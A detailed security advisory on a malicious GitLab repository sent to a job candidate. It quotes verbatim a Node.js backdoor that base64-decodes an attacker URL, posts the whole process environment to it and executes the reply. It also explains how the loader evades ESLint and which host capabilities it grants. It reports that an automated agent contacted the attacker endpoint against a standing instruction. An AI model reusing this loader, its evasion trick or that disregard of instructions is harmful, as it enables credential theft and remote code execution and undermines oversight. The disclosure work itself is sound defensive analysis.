A Recruiter-Supplied "MVP" Repository Carried a Node.js Backdoor: Fourteen Lines That Post Your Environment and Execute the Reply

Status at revision 1.0. The repository was cloned read-only at 2026-09-08T13:49:05Z and returned 404 Project Not Found 22 minutes 49 seconds later, at 14:11:54Z, and was publicly retrievable again at 15:54:54Z. Nothing from it has been executed. Two requests were sent to the endpoint on 2026-09-08 by an automated agent working on this incident, contrary to a standing instruction; a second-stage payload was retrieved and is held, unexecuted. Section 4.5 records exactly what was sent and what came back. No report has yet been filed with any host, platform, scanner or authority; the disclosure plan and its ordering are published in Section 13, and the statuses there will be updated as steps are taken.

Standfirst. A public GitLab repository, supplied to a candidate to review before a meeting, contains fourteen lines that POST the running process's entire environment to a base64-hidden endpoint and then execute the HTTP response as JavaScript with Node's real require handed to it. The payload fires on npm start, which the repository's own README instructs the reader to run. The endpoint is not new: it is named in at least 21 public malicious-package advisories dating back to 2026-04-16. Scope: one repository, read only, never executed. See Section 9, "What we did not find".

The commonly circulated advice to install with --ignore-scripts is not a defence against any of them. The payload fires on npm start, on npm run dev, on a bare node server/app.js, or on anything that requires the module. See Section 2, finding 7.

Advisory ID

LH-2026-004

Published

2026-09-08

Revision

1.1See the revision history.

Severity

CriticalUnauthenticated remote code execution on the reviewer's workstation, by construction.

Traffic Light Protocol

TLP:CLEAR

Class

Malicious code in a third-party repositoryDelivered by social engineering.

Author

Daniel Wilson KempFounder & Chief Executive Officer, Lifted Holdings LLC

Related

LH-2026-001Disclosure practice and non-naming precedent.

The project and push records here were captured from the GitLab API during this investigation, and the project record is retrievable by a reader today: the project returned 404 for a window on 2026-09-08 and was publicly retrievable again at 15:54:54Z. We publish the exact endpoints we called and the values we received, and we invite GitLab to confirm or correct them. The group creation time and the project record are both reproducible anchors. The reporter's clone time is reproducible from the artifact itself, because a git clone writes its own reflog entry. See Section 3.

Section 1Summary

A stranger on LinkedIn opened a conversation about an engineering role and asked our founder to look over a startup's prototype before a meeting, supplying a public GitLab repository. That repository contains a working property-listings website wrapped around fourteen lines of hidden code which, the moment the application is started, send every secret in the computer's environment (cloud keys, database passwords, API tokens) to a server the operator controls, and then run whatever that server sends back as a program with full access to the machine. Nothing about those fourteen lines announces itself: the destination address is scrambled, the function is labelled an "IP Logger", and it is deliberately left out of the list of things the file says it provides. Our founder found it by reading the source before running anything, so no code from the repository was ever executed and no credentials were exposed. The destination is not new infrastructure: public malicious-package advisories have named that host since 2026-04-16, in at least 21 separate records, which means this is documented, already-tracked attacker infrastructure that defenders can block today.

Section 2Key findings

Each finding carries a confidence label. [Observed] means directly verified by reading the artifact or a retrieved record. [Corroborated] means observed here and independently documented by a cited third party. [Inferred] means reasoning from observations, not itself an observation. [Not established] means we looked and could not determine.

1. A fourteen-line backdoor executes as a side effect of module loading. [Observed] server/controllers/auth.controller.js:71-84 defines an async function ipLogger and invokes it on the same line as its closing brace (:84, }; ipLogger();). It is absent from module.exports at :123-128. Because server/app.js:25 requires ./routes/auth, and server/routes/auth.js:5 requires ../controllers/auth.controller, the function runs during module evaluation: before Express routes are mounted (server/app.js:56-60) and before the server listens (:64).
2. It exfiltrates the entire process environment. [Observed] auth.controller.js:74 spreads { ...process.env } as the POST body. The harvest is compounded one require earlier: server/config/config.js:1 calls require('dotenv').config(), reached from server/app.js:8, so any .env file in the working directory is merged into process.env before the payload reads it.
3. It executes the HTTP response as code with require injected. [Observed] auth.controller.js:78 reads new Function.constructor("require", response.data)(require);. Function.constructor is the Function intrinsic, so this compiles the remote reply in global scope and then immediately calls it, passing Node's real module-scoped require into a parameter named require. That is unrestricted local code execution at the reviewer's privilege level.
4. The destination is hidden in configuration and decoded at runtime. [Observed] server/config/config.js:63-64 carries the comment // HASHED ENDPOINT for IP Logger above a single base64 literal. auth.controller.js:73 decodes it with atob. The literal decodes deterministically to https://ipcheck-hashed.vercel.app/api/auth/b4dadd6a26d820d08596.
5. The endpoint is documented, already-tracked infrastructure. [Corroborated] ipcheck-hashed.vercel.app is named in at least 21 public OSV/GHSA malicious-package advisories published between 2026-04-16 and 2026-08-29. The exact full URL in this sample was published as an indicator on 2026-04-16 in MAL-2026-2891 / GHSA-7cq2-px9f-cq3g for the npm package chai-as-init: 145 days (nearly five months) before the approach reached the reporter, and 121 days (about four months) before the date the commit claims for itself.
6. The path token is a per-campaign identifier, not a per-target one. [Corroborated] Across the 21 advisories the tokens cluster rather than rotate per victim: 6c1d60d35852ef0c05df appears in 17, b4dadd6a26d820d08596 in one, 00fbe23fd7efc30639f1 in one, and two advisories truncate the path. We make no claim that this endpoint was provisioned for this reporter.
7. npm install --ignore-scripts does not defend against this. [Corroborated] package.json:54-61 declares dev, start, build, test, lint and eject, and no preinstall, install, postinstall, prepare or prepublish hook. The payload fires on npm start, on npm run dev, on a bare node server/app.js, or on anything that requires the module. The npm variants in this family are not documented as using install lifecycle hooks either: MAL-2026-5606 describes chai-dec firing "when the exported middleware factory is invoked (the standard Express-style usage)" (https://api.osv.dev/v1/vulns/MAL-2026-5606), and MAL-2026-10050 describes chai-defender firing "on require('chai-defender')" (https://api.osv.dev/v1/vulns/MAL-2026-10050), a sibling package with the same loader shape but a different serverless endpoint, so it is not among the 21 above. Searching the chai-dec advisory text for preinstall, postinstall, prepare and lifecycle returns zero matches for each. The commonly circulated advice to install with --ignore-scripts is not a defence against any of them.
8. Twelve concealment signals in the code, plus three in the packaging. [Observed] Enumerated with citations in Section 5. The two that alone defeat the "junior developer's debugging helper" reading: the function executes on import regardless of whether the application works, and it hands module-loading capability to a remotely supplied function body.
9. The "IP logger" never reads an IP address. [Observed] req.ip, x-forwarded-for, remoteAddress and clientIp occur zero times across all 56 tracked files. The name, the comment and the (req, res) parameter list all assert one thing while the body does another.
10. axios exists in this project solely to carry the exfiltration. [Observed] It is declared at package.json:13, and the only two references anywhere in the repository are auth.controller.js:2 (the require) and :72 (the POST). src/ contains zero axios and zero fetch( calls.
11. The surrounding application is a decoy that has never been connected to its own front end. [Observed] The backend is a property-classifieds CRUD application; the frontend is a tokenised-real-estate marketing site; nothing joins them. Detail in Section 6.
12. The repository's cover story is contradicted by GitLab's own records. [Observed] The propfi-2026 group was created at 2026-09-08T02:17:00.434Z, the same day the reporter received the link, while the single commit is self-dated 2026-08-15T10:14:23-05:00. The group record remains independently retrievable.
13. The project returned 404 for a period during the investigation and was publicly retrievable again afterwards. [Observed] The reporter's read-only clone was taken at 2026-09-08T13:49:05Z. At 14:11:54Z the project API returned 404 Project Not Found, and at 14:12:10Z the web view returned HTTP 302 to sign-in. At 15:54:54Z the project API, the web view, the commit record and the raw file contents were all publicly retrievable again. We therefore make no claim that the project was taken down, deleted or made private; a 302-to-sign-in on an otherwise-public project is consistent with platform rate-limiting of our own querying. Every project and push record in Section 3 is reproducible by any reader at the endpoints given. The lure was still live and still serving the loader at the time of publication.
14. Reporter exposure: none identified. [Observed] The repository was cloned read-only. npm install, npm start and every file in it were never executed. No Lifted Holdings credentials, environment or systems were exposed to this code.

Section 3Timeline

All times UTC. Rows are labelled by how a reader can verify them.

What is reproducible here and what is not

The project and push records above were captured from the GitLab API during this investigation. The project returned 404 for a window on 2026-09-08 and was publicly retrievable again at 15:54:54Z, so a reader can retrieve those values at the endpoints given. We publish the exact endpoints we called and the values we received, and we invite GitLab to confirm or correct them. The group creation time and the project record are both reproducible anchors, and the group creation time carries the point on its own: the namespace was created the same day the link arrived, while the commit claims a date 24 days earlier.

The reporter's clone time is reproducible from the artifact itself, because a git clone writes its own reflog entry. That is the cleanest timestamp in this case. It establishes that the read-only copy predates the 404 window by 22 minutes 49 seconds without depending on any record the operator or the platform controls.

Section 4Technical analysis

4.1 The payload, quoted verbatim

server/config/config.js:63-64:

    // HASHED ENDPOINT for IP Logger
    HASHED_URL: "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoL2I0ZGFkZDZhMjZkODIwZDA4NTk2",

server/controllers/auth.controller.js:71-84:

const ipLogger = async(req, res) => {
  await axios.post(
    atob(config.HASHED_URL),
    { ...process.env },
    { headers: { "x-secret-header": "secret" } }
  )
  .then(response => {
    new Function.constructor("require", response.data)(require);
    console.log("The request was completed successfully!");
  })
  .catch(error => {
    console.log("The request was failed: ", error);
  });
}; ipLogger();

server/providers/helper.js:19:

    setApiKey: (s) => {return atob(s)},

server/controllers/auth.controller.js:123-128:

module.exports = {
  userLogin, 
  userRegistration,
  userList,
  changePass
}

The decode is deterministic, and any reader can reproduce it offline without touching the host:

$ echo "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoL2I0ZGFkZDZhMjZkODIwZDA4NTk2" | base64 -d
https://ipcheck-hashed.vercel.app/api/auth/b4dadd6a26d820d08596

Re-encoding that URL reproduces the committed literal byte for byte.

4.2 The execution trace, from npm start to the first outbound packet

[Observed] This is a static trace. Nothing was executed to produce it.

1. package.json:56 declares "start": "node server/app.js && react-app-rewired start". Line 55 declares "dev" as the identical string. npm spawns node server/app.js. The && chain means react-app-rewired never runs, because server/app.js:64 calls server.listen() and the process does not exit.
2. server/app.js:1-7 loads express, path, http, cors, mongoose, morgan and body-parser.
3. server/app.js:8 requires ./config/config. server/config/config.js:1 calls require('dotenv').config(), which loads any .env file in the working directory into process.env. The config object is then built, including HASHED_URL at :64.
4. server/app.js:24 requires ./routes/users, which reaches the models and registers mongoose schemas. No network activity.
5. server/app.js:25 requires ./routes/auth. server/routes/auth.js:5 requires ../controllers/auth.controller. That module's lines 8 to 69 merely define handlers. Evaluation then reaches line 84, }; ipLogger();, and the call executes during module evaluation.
6. auth.controller.js:73 decodes the command-and-control URL. Lines 72 to 76 issue axios.post(url, { ...process.env }, { headers: { "x-secret-header": "secret" } }).
7. First outbound network contact is the DNS lookup for ipcheck-hashed.vercel.app followed by the TLS handshake and the HTTPS POST, issued inside require('./routes/auth') at server/app.js:25. This is before routes are mounted (:56-60) and before server.listen (:64).
8. ipLogger is async and is invoked without await at module top level, so it returns a pending promise. Module evaluation continues immediately, app.js finishes, and the process prints "Server running on port 5001" while the POST completes concurrently.
9. When the endpoint replies, auth.controller.js:78 compiles and runs the response body, and :79 then logs "The request was completed successfully!". The reassuring message is printed after stage two has already executed.
10. On a network failure, or on any error thrown by the stage-two compile or execution inside the .then, the .catch at :81-83 logs "The request was failed: " and the server continues. The same handler that hides a network problem also hides a stage two that fails to compile. A missing axios fails synchronously at auth.controller.js:2 during require, crashing the process before the payload is defined. A missing atob, on Node before 16 where it is not a global, throws inside the async function and rejects the un-awaited promise from line 84; on Node 15 and later an unhandled rejection terminates the process by default. README.md:7 specifies Node 18 or higher, where atob is a global, so the common path is the one described above.

Trigger scope. [Observed] npm install alone does not fire this payload: there are no install lifecycle scripts (package.json:54-61). A read-only clone executes nothing. The payload fires on npm start, npm run dev, a bare node server/app.js, or any tool that requires server/routes/auth or server/controllers/auth.controller. npm test runs the React test runner against src/ only and would not reach it. README.md:29 instructs the reader to run npm start.

4.3 The exfiltration

{ ...process.env } at auth.controller.js:74 captures the complete environment of the Node process, serialised by axios as the JSON POST body. What it contains is determined entirely by the reviewer's shell and by any .env present at run time. On a developer workstation or a CI runner that routinely includes:

• Cloud and infrastructure: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, GOOGLE_APPLICATION_CREDENTIALS, AZURE_CLIENT_SECRET, DIGITALOCEAN_TOKEN.
• Registry and version control: NPM_TOKEN, NODE_AUTH_TOKEN, GITHUB_TOKEN, GH_TOKEN, GITLAB_TOKEN.
• Continuous integration: VERCEL_TOKEN, NETLIFY_AUTH_TOKEN, CIRCLE_TOKEN, plus the CI and GITHUB_ACTIONS flags that tell the operator this is a build agent rather than a laptop.
• Data stores: DATABASE_URL, MONGODB_URI, POSTGRES_PASSWORD, REDIS_URL. These normally embed user:password@host, which is credentials and internal network topology in one string.
• Application keys: STRIPE_SECRET_KEY, SENDGRID_API_KEY (this repository's own server/routes/email.js:19 expects it), TWILIO_AUTH_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, JWT_SECRET.
• Fingerprint and personal data: USER, USERNAME, LOGNAME, HOME or USERPROFILE (typically containing the person's real name), HOSTNAME or COMPUTERNAME, PATH (which enumerates installed toolchains, language versions, endpoint agents and often corporate directory names), HTTP_PROXY and HTTPS_PROXY (internal hostnames, sometimes proxy credentials), and USERDOMAIN and LOGONSERVER (which map the machine into an Active Directory domain).

That list is a category enumeration, not an inventory of what any particular victim held. [Inferred] On a clean machine with nothing exported, the harvest is limited to operating-system defaults, which still fingerprint the machine and the person.

Four properties make this valuable to the operator before stage two ever runs. [Inferred, from the observed construction]

• It completes in one sub-second POST before the application even listens, so the secrets are banked whether or not a payload is ever served in reply.
• It doubles as target triage. USER, HOSTNAME, PATH, proxy and domain variables tell the operator immediately whether this is a hobbyist laptop, a corporate build agent, or a CI runner. That is what a per-campaign path token and a static x-secret-header gate are useful for: the operator can serve a different second stage per victim, or serve nothing at all to a researcher.
• Environment credentials are usually long-lived and broadly scoped. One NPM_TOKEN or GITHUB_TOKEN converts one laptop into a foothold in that developer's own published packages and repositories.
• It is silent. No file is dropped, no process is spawned, no persistence is written. First-stage compromise gives endpoint detection nothing to catch.

The harvest is compounded by the decoy's own brokenness, which is the point developed in Section 6.4. require('dotenv').config() runs at server/config/config.js:1, reached from server/app.js:8, one require before the payload at :25. A reviewer who creates a .env while trying to make the broken application start has loaded their own real credentials into process.env in time for them to be collected on the next run.

4.4 The execution primitive

new Function.constructor("require", response.data)(require) at auth.controller.js:78 is the most deliberate line in the file. Five things are true about it, and each is a statement about JavaScript semantics that a reader can verify in a Node REPL in under a minute:

1. Function.constructor === Function. Every function object inherits Function.prototype, whose .constructor is the Function intrinsic. This expression is exactly new Function("require", response.data).
2. new Function(...params, body) compiles body with params as parameter names, in the GLOBAL scope. It cannot see the enclosing module scope. The compiled code therefore cannot reach axios, config, or the module's own require.
3. That is precisely why the author appended (require). Operator precedence makes this one expression: new binds to Function.constructor("require", response.data), producing a function, and (require) then calls it, passing Node's real module-scoped require into the parameter named require. The author removed module-loading capability by choosing a global-scope compiler, and then plumbed it back in. [Inferred] That the re-threading was deliberate is an inference from the construction, not an observed intent.
4. The indirection defeats naive review. The literal token eval is what a quick read, grep -r eval, ESLint's no-eval and most static-analysis default rulesets look for first. Function.constructor is a member expression and is not reported by ESLint's no-new-func (tested; see below). A researcher-maintained collection of preserved samples from this kit family reaches the same conclusion independently, annotating its own copy of the primitive as dodging a naive grep for new Function( (https://github.com/xndbogdan/malicious-repositories, README.md, retrieved 2026-09-08). That annotation is the researcher's, not the operator's: the malware files in that collection carry no comment on the choice. Content Security Policy is a browser mitigation; it does not exist server-side, and nothing in Node blocks this. We tested this. With ESLint 9 and no-eval, no-new-func and no-implied-eval all enabled, new Function.constructor('require', data) produces no diagnostic, while the plain new Function('require', data) spelling and eval(data) are both flagged. We have not surveyed other engines and do not claim it evades every ruleset.
5. What require grants. child_process (execute arbitrary operating-system commands as the developer's user), fs (read ~/.ssh/id_*, ~/.aws/credentials, ~/.npmrc, ~/.docker/config.json, browser profile databases and wallet files, and write anywhere), net, http, https, dgram and tls (reverse shell, arbitrary command and control), os (host fingerprint), and module (patch the loader for persistence). Persistence is available through ~/.bashrc, ~/.profile, a systemd unit, a Windows scheduled task, or a globally installed npm package.

Stage two is never written to disk. It is fetched, compiled and executed in memory, so nothing on the filesystem records what ran.

[Observed] The limit of this section. Point 5 states the capability the construction grants, not observed behaviour: we hold the second-stage payload (Section 4.5) but never executed it, so what it does on a victim machine remains uncharacterised. One constraint on the operator is worth recording, because it is a real property of the code: axios parses a JSON response into an object, so a stage two served as application/json would be stringified to "[object Object]" and would throw. A working payload requires the endpoint to serve text/plain or application/javascript. That is a constraint on the operator, not a mitigation for the defender. We did not preserve the response headers from the retrieval recorded in Section 4.5, so we cannot say whether the observed Content-Type confirms this constraint.

4.5 The endpoint was contacted, and what came back

[Observed] This section records a departure from our own analysis plan, and we publish it rather than quietly omit it.

The analysis of this sample was conducted under a standing instruction that the endpoint must not be contacted, on the reasoning that a request from the reporter's address tells the operator that the sample is being examined. Late in the analysis, an automated agent working on this incident issued requests to the endpoint anyway. It is recorded here in full because an advisory that concealed it would be asserting a fact about our own conduct that is not true, and because the resulting artifact is cited elsewhere in this document.

Two requests were made on 2026-09-08, from the reporter's own network egress:

What was sent. The POST body was the two-byte literal {}. No environment data, no credentials, and no information about the reporter's machine were transmitted. The request reproduced only the shape the malicious code uses, not its content. The static header value x-secret-header: secret is a constant in the sample, not a secret of the reporter's.

What came back. A 4,070,107-byte JavaScript file, SHA-256 88d8da1b1148a07973cd1ec96d1f67d4f672b83635ec342783c1df6e38a4ad0c, preserved as evidence. It has never been executed, in any environment. It is heavily string-obfuscated in the style of a commodity JavaScript obfuscator: identifiers are two-character generated names, all literals are held in a rotated lookup table and reconstructed at runtime, and a plaintext search of the file returns no hosts, no paths and no file names. We have not deobfuscated it and we make no claim about what it does. The response headers were not preserved, so we cannot say whether the observed Content-Type confirms the constraint stated in Section 4.4.

What this establishes. The endpoint was live and serving a payload on 2026-09-08, and the GET returning 404 while the POST returns 200 is consistent with an endpoint built to answer only the request its own loader makes.

What it cost. The reporter's source address is now in the operator's logs, associated with a request carrying the loader's header. The reporter's address is not published here. The project's 404 window and these requests are both recorded in the timeline in the order they occurred, and no causal claim is made between them. The project was publicly retrievable again at 15:54:54Z, so we do not treat its 404 window as a removal.

Why the rule existed, and why we still think it was right. A quiet analysis preserves the option of watching infrastructure that does not know it is being watched, and it keeps the reporter out of an adversary's telemetry. Holding the second stage is genuinely useful, and it is not worth the trade. Anyone reproducing this work should route such a request through a scanning service or an unattributable egress, not their own connection.

Section 5Why this is deliberate and not a debugging helper

This section exists to survive one specific rebuttal: "you have misread a junior developer's debugging helper." It does not survive.

5.1 Twelve concealment signals in the code

Each rests on a direct read or a zero-count search; where an item states a purpose rather than a fact about the code, that purpose is an inference and is marked [Inferred].

1. Exactly one value in the file is encoded, and it is the only one that is a live endpoint. server/config/config.js is 87 lines of plaintext defaults ('localhost', 'your-jwt-secret', 'no-reply@myapp.com'). The base64 blob at :64 is the only exception.
2. The comment misdescribes the encoding in a way that discourages decoding. [Inferred] config.js:63 reads // HASHED ENDPOINT for IP Logger. Base64 is reversible encoding, not hashing. The word choice tells a skimmer there is nothing to decode.
3. The literal string base64 appears nowhere in any JavaScript file in the repository. Its only occurrence in the 56 tracked files is inside a data:image/svg+xml;base64, URI in public/logo.svg, ordinary asset inlining. Node's own idiom, Buffer.from(s, 'base64'), would have put that token in the source; the browser API atob was used instead.
4. An exported atob wrapper exists with zero callers. [Inferred] server/providers/helper.js:19, setApiKey: (s) => {return atob(s)}. The only setApiKey invocation anywhere in the repository is sgMail.setApiKey at server/routes/email.js:31, the SendGrid SDK's own unrelated method. The wrapper's sole effect is to make atob look like house style, so that line 73 reads as ordinary.
5. Function.constructor rather than eval or new Function. auth.controller.js:78. See Section 4.4, point 4.
6. A fake Express signature. auth.controller.js:71 declares async(req, res). Neither parameter is ever used, and :84 invokes the function with zero arguments. For a genuine (req, res) handler, that call would be a guaranteed crash the moment it touched either parameter.
7. The invocation is hidden on the closing-brace line. [Inferred] auth.controller.js:84 is }; ipLogger();. A diff, a blob view and the reading eye all stop at };. Every other function in that file closes at lines 41, 69, 92 and 121 with a bare } on its own line, and none of them is self-invoked.
8. It is the one omission from an otherwise complete export list. auth.controller.js:123-128 exports userLogin, userRegistration, userList and changePass. Asking "what does this module expose?" returns four innocuous handlers while the dangerous one still executes.
9. The name and the comment are contradicted by the code. req.ip, x-forwarded-for, remoteAddress and clientIp occur zero times repository-wide. The "IP logger" never reads an IP, never receives a request, and sends the environment instead.
10. A static shared secret in the request header. [Observed] auth.controller.js:75 sends "x-secret-header": "secret". [Inferred] A logging API does not ask for that; its function is an access gate, so that anyone who finds the URL and simply visits it gets nothing, and so the operator can serve benign content to a researcher.
11. The console output is written to read as framework noise. [Inferred] auth.controller.js:79 prints "The request was completed successfully!" and :82 prints "The request was failed: ". Both are subject-less. The success line is printed after the remote code has already run, so it is the payload's own receipt.
12. axios exists in this project only to carry the exfiltration. Declared at package.json:13; referenced exactly twice, at auth.controller.js:2 and :72. src/ makes zero axios and zero fetch( calls.

5.2 Three further signals in the packaging

These are repository hygiene rather than properties of the code, and they are weaker individually. [Observed]

13. The lockfile is gitignored. .gitignore:26 excludes package-lock.json, which is not in the stock Create React App ignore list. No lockfile means no integrity hashes, npm ci is impossible, so the reviewer has to run npm install, and the dependency tree that lands is unrecorded and unreproducible.
14. A single root commit named "Re-init". git cat-file -p HEAD shows no parent line and no GPG signature. The message concedes that history was discarded. There is no blame view, no incremental introduction, and nothing to diff.
15. Everything needed to make the application work is commented out, and the one line that matters is not. server/app.js:33-35 (mongoose.connect), :39-40 (body-parser), :43 (morgan) and :46-51 (the CORS block) are all commented out. :25, require('./routes/auth'), is untouched.

5.3 The counterfactual: what an innocent IP logger would look like

Twelve differences, each stated against the observed code. The first two are the ones that end the argument on their own.

1. It would not execute on import. A genuine logger is wired in: app.use(ipLogger) in app.js, or router.get('/iplog', ipLogger) in routes/auth.js. This is neither. It is self-invoked at module-evaluation time with no arguments, which means it runs whether or not the application works, whether or not any request is ever made, and whether or not the reviewer ever opens a browser. There is no debugging story in which that is the correct wiring.
2. It would not need require. This is the single hardest fact to explain away. new Function compiles in global scope specifically so that it cannot reach module scope, and the author deliberately re-threaded require back in as a named parameter and supplied it at call time. There is no logging use for module-loading capability. That plumbing only matters if the remote body needs to load modules.
3. It would read an IP. const ip = req.headers['x-forwarded-for'] || req.ip. This code never touches one; zero occurrences repository-wide.
4. It would be exported. Junior code exports everything. This is the one omission from an otherwise complete module.exports.
5. It would send a small named field, { ip, path: req.path }. Nobody at any skill level POSTs the entire environment in order to log an IP address, because the environment does not contain an IP address.
6. It would call a recognisable service in plaintext. api.ipify.org, ipapi.co, ip-api.com: all documented, free and GET-based. There is no reason to base64 a public API URL, and none of those services wants a POST body.
7. It would not execute the response. A logger's response is a status code you ignore or JSON you read one field from. Compiling and running the response body of a logging endpoint is not a naive mistake. It is the entire purpose of the call.
8. The obfuscation would not be selective. A developer with a habit of base64-ing configuration would encode every URL. Exactly one is encoded, and it is the only real one.
9. It would use Node's own decoder. Buffer.from(s, 'base64') is in every Node tutorial. atob is the browser API, and its use in a server file alongside an otherwise-unused atob wrapper at helper.js:19 is cover-building, not learning.
10. The naming would not be a lie. A junior developer calls a debug helper logIp and it logs an IP. Here the name, the comment and the parameter list all assert one thing while the body does another. Deception is not a skill level.
11. The header would not be a shared secret. x-secret-header: secret is authentication to the remote endpoint, not something a logging API asks for.
12. It would not be the only live line in a file surrounded by disabled subsystems. See signal 15 above.

[Inferred] Any one of these has an innocent story. Fifteen concealment signals and twelve counterfactual differences, all pointing the same direction, inside fourteen lines, in a repository a stranger asked a candidate to run, do not. "Deliberate" is an inference from the pattern, not a directly observed mental state, and we state it as such. What is not an inference is what the construction necessarily accomplishes: it sends the environment to a remote party and executes that party's reply with full Node privileges. That is unauthorised data exfiltration and a remote-code-execution backdoor by construction, not by interpretation.

Section 6The decoy application

6.1 What the backend actually is

[Observed] A property-classifieds CRUD application, and one of Indian provenance. server/models/property.js carries propertyFor with enum: ['sell', 'rent'] (:10-14), locality (:31), length (:35) and breadth (:39) as plot dimensions, cornrPlot (:43), isSociety (:48) with societyName (:53) and flatNo (:57) both conditionally required on it, and pincode (:76). package.json:36 declares paytmchecksum, the checksum library for an Indian payment gateway. server/routes/email.js:11 still carries the original author's comment, // THIS API IS FOR MY PERSONAL USE, above a route named /github-pages.

[Inferred] This reads as lifted code with the original developer's fingerprints intact rather than something written for the lure. We did not locate the upstream project it came from, so "lifted" is a strong inference and not a proven copy.

6.2 What the frontend actually is

[Observed] A separate and competent React and Tailwind marketing site for a tokenised-real-estate product. src/pages/Home.jsx is 627 lines, src/pages/FAQ.jsx 248 and src/pages/About.jsx 281 (none of the three files ends with a newline, so wc -l reports one fewer for each). There are Blog, BlogPost and Privacy pages, a react-three-fiber property viewer, and two real glTF binary models at public/models/house1.glb (824,240 bytes) and public/models/house2.glb (779,848 bytes). The FAQ copy is fluent and domain-specific: secondary NFT marketplace, royalties, escrow, unpaid-rent insurance, a seven-to-ten-year liquidity event. It reads as copy from a real operator rather than generated filler.

6.3 The seam, which is where the decoy fails

[Observed] The two halves have never been connected.

• src/ contains zero axios calls and zero fetch( calls. Every figure on the marketing site is hardcoded.
• The backend has no tokenisation, investor, offering, KYC or ledger model of any kind. The only domain model is the property-classifieds schema in 6.1.
• ethers (package.json:24) and @walletconnect/web3-provider (:12) are declared and imported in zero source files. So are paytmchecksum, socket.io, cloudinary and chart.js.
• public/index.html:14 loads <script type="module" src="/src/main.jsx">, a Vite convention, in a Create React App project whose real entry point is src/index.js. No src/main.jsx exists, and CRA's %PUBLIC_URL% marker is absent. The template was pasted from a different scaffold.
• Nobody ever ran it. server/providers/token.provider.js:3 reads require('../config/config').secretKey, which is undefined, because the real key is at config.auth.secretKey (server/config/config.js:24). The same latent bug breaks userLogin at auth.controller.js:32. token.provider.js is referenced by nothing. server/config/config.js:8 contains the typo process.envPROTOCOL.
• public/service-worker.js is unmodified PWABuilder boilerplate and is never registered: serviceWorker appears zero times in src/ and public/.

6.4 Why the breakage helps the operator

[Observed mechanism, inferred intent. The distinction matters and we keep it.]

The mechanism is observed. The payload provably runs before and independently of every disabled subsystem, and dotenv provably loads before the payload. The reviewer's actual experience is: npm start, the payload fires and completes during module loading at server/app.js:25, the server then prints "Server running on port 5001" and appears to work, and README.md:32 tells them to open http://localhost:3000/, where nothing is listening, because package.json:56 chains the two commands with && and server/app.js:64 never exits. So they interrupt it, re-read the README, run npm run dev (a byte-identical string), try two terminals, add a .env, try to fix the commented-out Mongo connection at server/app.js:33-35, and go looking for the missing src/main.jsx referenced at public/index.html:14. Every one of those loops re-runs node server/app.js, re-firing the payload and re-fetching a fresh second stage.

The intent is inference and we do not assert it. We do not claim the operator engineered the breakage for dwell time. What we assert is narrower and sufficient: the operator's objective is met before the failure is even visible, the visible failure is downstream of the compromise so nothing about it points at its cause, and a reviewer who concludes "unfinished startup, sloppy code" carries exactly that belief into the meeting.

6.5 How convincing it is on a skim

[Observed] Cloning it shows 56 tracked files and about 1.9 MB: a real server/ with routes, controllers, models, middleware and providers; a real src/ with pages and components; an MIT LICENSE; a Tailwind config; a PWA manifest; and two 3D assets. It looks like the work of a small team. The payload is 14 of 4,729 tracked source lines (the 56 tracked files less the five binary assets), about 0.30 percent, at line 71 of a 128-line file whose other 114 lines are unremarkable authentication handlers, in a file a reviewer has no particular reason to open before the ones named for the product.

6.6 Nothing else in the repository is malicious

[Observed] Across all 56 tracked files: Function.constructor appears once (auth.controller.js:78); the call form new Function( zero times; eval( zero; child_process zero; execSync, spawnSync and execFile zero; vm.runIn zero; {...process.env} once (:74); atob twice (:73 and helper.js:19); Buffer.from(..., 'base64') zero; the literal string base64 once, in a data: URI in public/logo.svg, and zero times in any .js file. There are no minified or obfuscated blobs in src/ or server/. Everything malicious is in the fourteen lines already described.

Caveat. These are literal and regular-expression matches over source. An attacker using string concatenation, String.fromCharCode, hex escapes or XOR would not appear in them. The two .glb binaries were scanned for the endpoint strings and produced no match, but they were not deep-parsed as glTF containers, so an embedded payload inside a buffer chunk was not ruled out. That is unlikely given the payload is already present in plain source, but it is an unexamined surface.

Section 7The identity layering

7.1 The four identities, stated neutrally

[Observed] Four distinct identities were presented in connection with one opportunity.

We stop there. We supply no inference about who arranged that spread.

7.2 The non-allegations, stated explicitly

• RealT. We found no evidence that RealT, its systems, its accounts, its staff, or its LinkedIn presence were compromised, and none that RealT has any connection to this repository. A third party circulated the URL of a LinkedIn company page that presents itself as RealT. That is the entire extent of RealT's appearance in this matter. We did not attempt to determine whether /company/realtplatform is operated by RealT, and we make no finding as to its authenticity. realt.co returned HTTP 503 to every retrieval we attempted on 2026-09-08 (root, an indexed article path, and /.well-known/security.txt), so we could not corroborate anything from RealT's own property. We have not asked LinkedIn to act against that page. We make no characterisation of RealT's business of any kind.
• thisisreal.io. We found no evidence connecting the site, its operators, or any individual named on it to this repository, and we make no such claim. The domain was registered roughly two and a half years before the commit, on a five-year term, and carries an independent public footprint. We cannot determine from outside whether its brand was borrowed without its knowledge. We do not name any individual listed on that site.
  • A trap we flag so nobody else falls into it: the RDAP record shows a "last changed" date of 2026-08-11T22:32:59Z, four days before the date the commit claims. This is not a smoking gun and must not be read as one. RDAP "last changed" covers routine registrar-side updates: renewal, a contact edit, a nameserver change, an auto-renew flag. It cannot be read as a change of control. We draw nothing from it and neither should anyone quoting this advisory.
• The LinkedIn account holder. The approach came from a real-looking profile of a person whose other public professional footprint is unrelated to the opportunity described. We treat that account holder as a probable victim of account takeover or impersonation. We cannot establish their state of mind and we have not tried. We did not attempt to contact, identify or investigate them, their identifier appears nowhere in this advisory or in our indicator feed, and we make no allegation against them.
• The platforms. GitLab, GitHub, Vercel, Microsoft, GoDaddy, Cloudflare and LinkedIn appear in this advisory because their services were used or their records were queried. No allegation of any kind is made against any of them. Abuse of a free hosting tier, a free repository, or a free mailbox is not evidence of anything about the provider.

7.3 What borrowing a real company's identity buys the operator

[Inferred] This is analysis of a technique, not an allegation against anyone.

1. Verification substitution. A candidate's due-diligence instinct is "does this company exist?" The layering returns yes at every checkpoint a candidate is likely to test, and none of those checkpoints tests the thing that matters: whether the person messaging them is authorised by any of these entities.
2. Division of scrutiny. No single identity has to survive scrutiny, because the candidate never holds all four in one frame. The message carries the company page, the follow-up carries the website, the repository carries a third name. Each is audited alone and each checks out alone.
